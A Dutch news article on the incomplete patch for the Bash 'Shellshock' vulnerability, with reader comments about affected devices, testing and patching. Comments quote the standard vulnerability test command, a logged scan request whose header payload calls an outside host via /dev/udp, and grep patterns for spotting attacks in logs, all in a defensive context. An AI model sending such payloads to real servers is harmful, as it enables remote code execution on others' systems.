Patch voor Bash-beveiligingsprobleem blijkt onvoldoende

De patch voor een beveiligingsprobleem in Bash, dat aanvallers eigen code laat uitvoeren op OS X en Linux, blijkt incompleet. In bepaalde gevallen zijn systemen nog steeds kwetsbaar voor het beveiligingsprobleem.

De patch die woensdagavond is uitgerold voor het beveiligingsprobleem in de bash-shell is onvoldoende, zo laat onder meer Red Hat weten. In bepaalde gevallen is het nog steeds mogelijk om eigen code uit te voeren op systemen met de bash-shell. Daarbij gaat het onder meer om Linux-distributies, OS X en in sommige gevallen ook Android-smartphones, bijvoorbeeld als ze Cyanogenmod gebruiken. Ook Busybox, een verzameling Unix-tools, zou kwetsbaar zijn, ondanks dat Busybox geen Bash gebruikt.

Momenteel wordt gewerkt aan een nieuwe patch die het beveiligingsprobleem volledig moet oplossen. De kwetsbaarheid is wel minder makkelijk te gebruiken als de patch van woensdagavond is geïnstalleerd. Vòòr installatie van de patch voert de bash-shell automatisch commando's uit wanneer die als environment-variabele zijn toegevoegd. Na installatie van de patch is dat niet meer zo, al kan een aanvaller de shell in sommige gevallen nog steeds om de tuin leiden.

Het is nog niet duidelijk hoe ingewikkeld het is om het probleem te misbruiken. Het lijkt er in ieder geval op dat het niet langer mogelijk is om de bug via cgi-scripts te misbruiken. Daardoor zijn routers, nas-systemen en apparaten als webcams met ingebouwde webservers waarschijnlijk een stuk minder kwetsbaar, al moeten ze dan wel eerst worden gepatcht voor het probleem van woensdagavond.

Het beveiligingsprobleem in Bash kwam woensdagavond aan het licht. Elke applicatie die leunt op de Bash-shell is in potentie kwetsbaar. Daarbij gaat het onder meer om webservers, die om de tuin kunnen worden geleid met http-requests. Ook zijn dhcp-clients in potentie kwetsbaar: een dhcp-server zou eigen code op een pc kunnen uitvoeren. Dat is bijvoorbeeld een probleem op openbare wifi-hotspots.

Beveiligingsonderzoeker Robert Graham noemt de bug in bash 'net zo groot als Heartbleed', een beveiligingsprobleem in OpenSSL waarbij een deel van de inhoud van het interne geheugen van een server kon worden uitgelezen. Dat komt volgens Graham doordat er zoveel verschillende manieren zijn waarop Linux-software interactie vertoont met bash. "We zullen nooit alle software kunnen uitfaseren die kwetsbaar is voor de bash-bug", schrijft hij.

Reacties (70)

[kevinwalter]

Aai, de OnePlus One ook! Terwijl hier niet eens iets van root op staat.
http://www.kevinwalter.it/cyan.png

[Mijzelf]

Waarom heb je eerst het PATH aangepast?

[kevinwalter]

Dat is iets wat de terminal automatisch doet.

[Mijzelf]

Oh? Dus het is mogelijk dat bash normaal gesproken niet vindbaar is. Wat geeft 'which bash' ?

[kevinwalter]

/system/xbin/bash

[sfranken]

Dat is volgens mij een iets andere aanpak dan "normaal", probeer dit eens: SidewalkSuper in 'nieuws: Patch voor Bash-beveiligingsprobleem blijkt onvoldoende'

[kevinwalter]

Met dat commando ook:
http://www.kevinwalter.it/cyan2.png

[sfranken]

Is nog steeds een afwijkend commando ;-) Maar wel apart, op mijn Oppo Find 5 met CM11 + Busybox krijg ik alleen "This is a test" te zien.

Complete "test" staat trouwens ook in het 1e artikel (laatste zin): nieuws: Bash-kwetsbaarheid laat aanvaller code uitvoeren op Linux en OS X

Die code heb ik op m'n telefoon uitgevoerd (en m'n machines). Op alle machines is het resultaat hetzelfde: "This is a test"

[airell]

Klopt, omdat Busybox geen bash gebruikt...

[sfranken]

Tenzij je doet wat kevinwalter hierboven deed, eerst de PATH goedzetten. Zie screenshots die hij plaatst ;-)

[shadylog]

sfranken/Mijzelf heeft wel degelijk gelijk. Zolang bash niet aangroepen wordt door scripts of andere gekkigheden is er niets aan de hand. Als je PATH veranderd betekent het dat je alvorens de exploit wil gebruiken dus het PATH goed moet staan. En klaarblijkelijk was dat niet zo want anders had hij PATH niet hoeven te gebruiken.

Al met al, je Oppo is gewoon veilig. (mits nergens direct bash wordt gebruikt in een shebang #!/...)

[dipje2]

Blijkbaar wel iets anders dan Google standaard doet .

Op een normale Android versie staat geen bash zover ik weet (of de shell in Busybox moet zodanig bash-compatible zijn tegenwoordig dat ze deze bug ook hebben).

Voor wat het waard is, mijn One Mini (1) met laatste stock rom en daar vervolgens zelf root + busybox op gezet, heeft geen bash. En de gebruikte 'sh' die op de telefoon staat heeft niet de bug (dus is niet stiekem een bash variant of zo ).

[gimbal]

Ik vraag me nu af of dit een kwetsbaarheid is door een bug of dat dit een kwetsbaarheid is doordat bash al 20+ jaar bestaat en het een vergeten "we bouwen het in want dat maakt het gruwelijk flexibel" feature is. Ik kan dat niet echt opmaken uit de historie van dit artikel.

Indien het laatste dan zijn er waarschijnlijk nog wel een paar meer te vinden in het toch wel redelijk uit de kluiten gegroeide Linux tooling set.

[shadylog]

Bash is al jaren een doorn in mijn oog. Het heeft zoveel niet-gestandaardiseerde features, en mensen schrijven dan ook voor bash ipv /bin/sh wat POSIX compatibiliteit zou moeten betekenen.
De features die bash toevoegt en een afbraak is aan portability wordt dan ook "bashisms" genoemd.

[elmuerte]

Hetzelfde probleem heb je met Korn scripts. Ook al is Korn de basis voor POSIX shell, de extensies zijn het niet. Veel Korn scripts werken in Bash. Andersom is minder vaak het geval omdat Korn Shell nogal veel geforked is voor verschillende systemen, en niet overal even lenient is.
ps, /bin/sh is Bourne shell, en dat is niet POSIX compliant. (Bash = Bourne Again Shell)

[Jan121]

Onderschat dit niet.

Uit de logs zojuist:

"GET / HTTP/1.1" 301 - "-" "() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444"

Dat is een regelrechte poging om een UDP port te openen / backdoor te creëren.

/dev/udp/host/port
If host is a valid hostname or Internet address, and port is an integer port number
or service name, bash attempts to open a UDP connection to the corresponding socket.

[HollowGamer]

Hoe is het nu te voorkomen dat dit 'iets doet'?
Ja, wachten op de patch, maar in de tussentijd.

Wat is er op dit moment aan te doen dat dit niet werkt? Bij php schakel je bijvoorbeeld functies uit, je draait Apache/nginx onder een andere user, etc.
Maar die user die kan bijvoorbeeld nog steeds pingen, files aanmaken/uitvoeren (waar die rechten op heeft), etc.

[Jan121]

De kwetsbaarheid was gister al gepatcht, alleen niet helemaal goed. Maar direct gevaar was al voorbij.

Vandaag volledig opgelost.

En inderdaad van Ubuntu servers tot Raspberry Pi:
sudo apt-get update
sudo apt-get upgrade

Kortom voor server en desktops zijn updates beschikbaar, en voor andere dingen, zoals een NAS met FFP (bash) op een update wachten en in de tussentijd niet direct toegankelijk maken voor het WAN

[Maurits van Baerle]

of de gebruiker zelf Busybox heeft geïnstalleerd.

Klopt dit wel? Ik dacht juist begrepen te hebben dat Busybox doorgaans geen Bash gebruikt omdat het te zwaar zou zijn voor de vaak embedde toepassingen van Busybox.

[Mijzelf]

Volgens mij klopt het niet. Busybox heeft een eigen shell die ash compatible is. Ik heb de 'testcode' van gisteren op een aantal embedded systemen geprobeerd, en ze gaven allemaal geen krimp.

[dvrslype]

Om welke testcode gaat het hier? Link?

[SidewalkSuper]

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Hier is bijvoorbeeld een proof of concept voor remote code execution te vinden.
https://www.invisiblethreat.ca/2014/09/cve-2014-6271/

[Reactie gewijzigd door SidewalkSuper op 27 juli 2024 06:50]

[Zoop]

Note: Als je gepatched bent, hoor je een warning/error te krijgen

bash: warning: x: ignoring function definition attempt
bash: error importing function definition for 'x'
this is a test

[arie_papa]

Raspbian jessie voor de upgrade gaf een vulnerable. Ubuntu 14.04 gaf geen vulnerable aan en een this is a test Ff update aan het afwachten

Edit: En helaas fail (vulnerable dus)

[Reactie gewijzigd door arie_papa op 27 juli 2024 06:50]

[Verwijderd]

De patch voor Raspbian was rond 22:00 beschikbaar

[arie_papa]

Inmiddels idd ook helemaal bijgewerkt met jessie

[Patriot]

Mits het ook daadwerkelijk bash gebruikt. Als het iets vergelijkbaars is kan er rustig niks gebeuren.

[Wasp]

Laatste paragraaf van dit artikel:

nieuws: Bash-kwetsbaarheid laat aanvaller code uitvoeren op Linux en OS X

[kodak]

Kort antwoord: nee, klopt inderdaad niet. Busybox gebruikt geen bash shell.

Lang antwoord: https://community.rapid7....vestigating-cve-2014-6271.

Maar als Joost Schellevis anders meent dan zou het niet misstaan om dat in het artikel goede bronvermelding te plaatsen.

[wica]

Ben ook benieuwd hoe hij er bij komt.

root@dm800se:~# ls -ld /bin/bash
lrwxrwxrwx 1 root root 19 Apr 25 05:40 /bin/bash -> /bin/busybox.nosuid
root@dm800se:~# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
this is a test

[shadylog]

Kan het zijn dat (net zoals zovelen), er is vergeten om in de commandline het woordje "bash" te vervangen met wat dan ook de shell is van busybox?
Ik heb al gezien dat sommigen de commando gewoon in willekeurige shells zoals ash/ksh/zsh zetten en vergeten dat dan nog steeds gewoon bash aangeroepen wordt en zeggen dan dat shell x,y,z vulnerable is.

[paradoXical]

Ik heb zojuist 2 systemen gepatched, waarbij 1 handmatig (Ubuntu Server 10.04) en 1 was al automatisch gepatched (12.04). Even goed in de gaten houden dus, ik wacht de nieuwe patch wel af

[TimDJ]

Even reactie hier zodat het te zien is. Debian heeft ondertussen een update geplaatst voor bash in Wheezy die ook bovenstaand probleem oplost. UPDATEN dus!

[Erulezz]

Net ook de patch uitgevoerd op enkele VPSen. Ik ben wel benieuwd hoe je in de logs kunt zien of er al geklooid is via deze bug. Heeft iemand daar al een antwoord op?

[Spookie]

grep --line-buffered '()' /var/log/httpd/access_log*

Zoiets:)

[sfranken]

Dan is dit iets beter:

grep --line-buffered '() { :;};' /var/log/httpd/access_log*

[kdekker]

De shell speelt voor (o.a.) web servers een veel beperktere rol dan SSH. Je hebt er alleen mee te maken als je shell scripts gebruikt die op de een of andere manier remote ontsloten zijn. Dan kan bijv. CGI zijn. En dan nog zal in verreweg de meeste gevallen dit gebeuren met de permissies van een gebruiker die laag in de rechtenboom zit.

Ik neem aan/hoop dat de meeste gebruikers eerst http requests analyzeren voordat ze zelf een shell aanroepen. Nu is bash eigenlijk alleen op Linux varianten gebruikelijk. Niet op Windows, en niet op andere Unix smaken. Dat is de 2e reden waarom de impact kleiner moet zijn dan de heartbleed bug.

En het is m.i. tamelijk ongebruikelijk om in public services een shell te gebruiken. Waarom zou je als je daemon in C/C++ of wat dan ook geprogrammeerd is?

Het lijkt erop dat de Telegraaf stijl het goed doet als er weer een veiligheidslek gevonden wordt. Is meneer Graham een autoriteit op beveiligingsgebied of hebben ze een mediagenieke ICTer gevonden? Of ben ik nu te kritisch?

[Reactie gewijzigd door kdekker op 27 juli 2024 06:50]

[CAPSLOCK2000]

De shell speelt voor (o.a.) web servers een veel beperktere rol dan SSH. Je hebt er alleen mee te maken als je shell scripts gebruikt die op de een of andere manier remote ontsloten zijn. Dan kan bijv. CGI zijn.

Het verradelijke is dat de shell op meer plaatsen gebruikt wordt als de meeste gebruikers weten. Het is niet zo dat je alleen kwetsbaar bent als je webserver rechstreeks bash aanroept. Er zijn allerlei plekken waar de shell op de achtergrond gebruikt wordt. Als je webapplicatie in bv Perl is geschreven kan het nog steeds zijn dat ergens in de keten Bash wordt gebruikt, en dan ben je de pineut.

En dan nog zal in verreweg de meeste gevallen dit gebeuren met de permissies van een gebruiker die laag in de rechtenboom zit.

Helaas is dat op veel webservers de enige gebruiker die er toe doet. Die gebruiker kan vaak alle interessante bestanden op die server inzien.

Ik neem aan/hoop dat de meeste gebruikers eerst http requests analyzeren voordat ze zelf een shell aanroepen.
<knip>
En het is m.i. tamelijk ongebruikelijk om in public services een shell te gebruiken. Waarom zou je als je daemon in C/C++ of wat dan ook geprogrammeerd is?

Laten we het op hopen houden Maar dat is niet eens relevant. Deze bug is al bereikbaar voordat de eerste regel van jouw code draait. Je hangt al op het moment dat de webserver jouw code start.

[kdekker]

Maar je perl commando bouw je zelf op. Daar heb je dus zelf alle controle over. Daar wordt alleen een shell aangeroepen (zie manual perl over bijv system) als je dat zelf opgeeft, of als er meta karakters (file redirection) in zitten.

Je bent dus niet per definitie de pineut als er ergens bash aangeroepen wordt, maar alleen als dat hele http request er in staat.

Ook ja laatste alinea is niet per definitie waar: een shell is alleen nodig als je shell script draait. Een http daemon zelf is doorgaans geen shell, maar een socket accept. Daarna ontvang je data, en pas daarna de interpretatie. Dus je hangt pas alleen als de data 1:1 naar een system call gaat die een shell start.

Kortom: mijn punt dat deze bug minder ernstig is dan heartbleed blijft overeind staan.

[CAPSLOCK2000]

Dat klopt niet. Dat is niet hoe deze bug werkt.

Apache start (bv) Perl. Daarbij worden er een aantal omgevingsvariabele doorgegeven. Op dat moment zit het al fout. Als er een bash gestart wordt dan krijgt het die omgevingsvariabele te zien en gaat ze verwerken. Dat is het moment dat de bug actief wordt. Je hoeft dus niet het hele HTTP-request aan bash door te geven.

Wanneer je het hele HTTP-request direct aan bash doorgeeft dan is daar ook misbruik van te maken, maar dat is niet waar deze bug over gaat.

Extra pijnlijk is dat er soms een klein shell-scriptje wordt gebruikt om Perl te starten. Dan gaat het onmiddelijk fout.

[kdekker]

Erven/doorgeven van omgevingsvariabelen is toch heel normaal? (export A=4 erft ook naar child processes. Dat is voor iets als PATH erg nuttig). Zonder export zou inderdaad een child proces geen variabelen uit het parent proces mogen hebben.

Overigens: Windows kent niet eens het onderscheid tussen per-process environment variabelen - die niet ge-erft mogen worden. Alles wordt daar altijd geerfd, tenzij je speciale maatregelen neemt als programmeur (met CreateProcess() gefoef).

En dan nog: je krijgt nooit meer rechten dan het parent proces. Apache draait doorgaans onder http account, wat erg weinig mag. Daar is deze bug maar beperkt van invloed op security.

[CAPSLOCK2000]

Erven/doorgeven van omgevingsvariabelen is toch heel normaal? (export A=4 erft ook naar child processes. Dat is voor iets als PATH erg nuttig). Zonder export zou inderdaad een child proces geen variabelen uit het parent proces mogen hebben.

Het is heel normaal, maar door een bug in bash kan code in deze variabelen worden uitgevoerd.

En dan nog: je krijgt nooit meer rechten dan het parent proces. Apache draait doorgaans onder http account, wat erg weinig mag. Daar is deze bug maar beperkt van invloed op security.

Het ligt er maar aan wat de aanvaller wil bereiken. Een typische webserver heeft geen andere taak dan webserver spelen. Alle interessante data is bereikbaar voor de webserver. Je hebt daarmee nog geen root, maar typisch wel toegang tot alle bestanden en databases waar die webserver gebruik van maakt. Dat is erg genoeg.

[Mijzelf]

En het is m.i. tamelijk ongebruikelijk om in public services een shell te gebruiken. Waarom zou je als je daemon in C/C++ of wat dan ook geprogrammeerd is?

Hoe kom je erbij dat er een dedicated daemon is? Ik ben meer dan eens in embedded Linux tegengekomen dat de webinterface bestond uit iets als mini-httpd (40kB), met statische html pagina's, plus een of meer shell scripts voor dynamische pagina's.
Kleiner (rom) lukt je niet.

[Olaf van der Spek]

of de gebruiker zelf Busybox heeft geïnstalleerd.

Busybox bevat toch geen bash?

[Verwijderd]

Klopt inderdaad, ik snap het ook niet helemaal

[compufreak88]

Ik heb op mijn CyanogenMod telefoon gekeken, en die heeft er wel bash op staan. Dus het kan zijn dat CM zelf bash meelevert.

[Verwijderd]

Dat zou kunnen idd, ik ken CM niet goed moet ik bekennen.

[shadylog]

Dat kan allemaal prima, maar zolang niks op je telefoon bash aanroept is er nog steeds niks aan de hand. Deze exploit is een injectie-verhaal (doet beetje denken aan SQL). Als ergens een bash shell wordt opgestart en je environment variabelen worden meegenomen dan ben je de klos. Zo niet, dan is er dus NIETS aan de hand.

[Mijzelf]

Volgens mijn server logs wel.

[CMD-Snake]

Gaan Android telefoons dan ooit wel gepatched worden? Op Android is het patchen nogal gebrekkig omdat je afhankelijk bent van de maker van je telefoon. En sommige doen weinig moeite om hun toestellen bij te houden.

[BHQ]

Android telefoons hebben doorgaans geen bash (tenzij geroot etc) en zijn daarom niet vatbaar.

[w3news]

Een Android versie van van de maker van de telefoon heeft er geen last van.
(of je moet rooten natuurlijk, maar standaard niet)

[Reactie gewijzigd door w3news op 27 juli 2024 06:50]

[Amanoo]

Je bent niet afhankelijk van je maker, het gaat om CyanogenMod/BusyBox.